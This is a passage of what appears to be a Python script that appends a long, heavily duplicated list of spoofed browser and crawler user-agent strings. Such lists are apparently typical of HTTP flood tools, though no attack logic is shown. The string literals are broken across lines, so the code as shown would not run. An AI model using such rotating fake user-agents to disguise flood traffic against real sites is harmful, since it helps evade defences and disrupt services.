http://www.yodao.com/help/webmaster/spider/; )')
headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0;
http://www.yodao.com/help/webmaster/spider/; )')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link
Checker ([email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link
Checker ([email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-
[email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)
AppleWebKit/420+ (KHTML, like Gecko)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET
CLR 3.5.30729; Avant Browser)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)
AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3
Safari/532.2')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)
AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
ChromePlus/1.5.1.1')
headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C
4.7.1; text)')
headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)
AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)
Gecko/20100101 Thunderbird/24.4.0')
headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0;
+http://www.abilogic.com/bot.html)')
headers_useragents.append('SiteBar/3.3.8 (Bookmark Server;
http://sitebar.org/)')
headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2;
en-ca)')
headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2;
en-ca)')
headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0;
Macintosh)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de;
rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de;
rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
.NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
{1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
acc=baadshah; acc=none; freenet DSL 1.1; (none))')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
en) Opera 8.51')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)
AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)
Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
.NET CLR 1.1.4322)')
headers_useragents.append('Googlebot/2.1
(http://www.googlebot.com/bot.html)')
headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en)
Presto/2.2.0')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)
AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1;
Trident/5.0)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT
6.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1;
+http://www.google.com/bot.html)')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE
5.5; yahooseeker at yahoo-inc dot com ;
http://help.yahoo.com/help/us/shop/merchant/)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('AppEngine-Google;
(+http://code.google.com/appengine; appid: webetrex)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729;
.NET CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
5.2; Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT
6.0; en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729;
.NET CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
5.2; Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a;
Palm-Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT
5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT
6.0; en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686;
80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0; WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
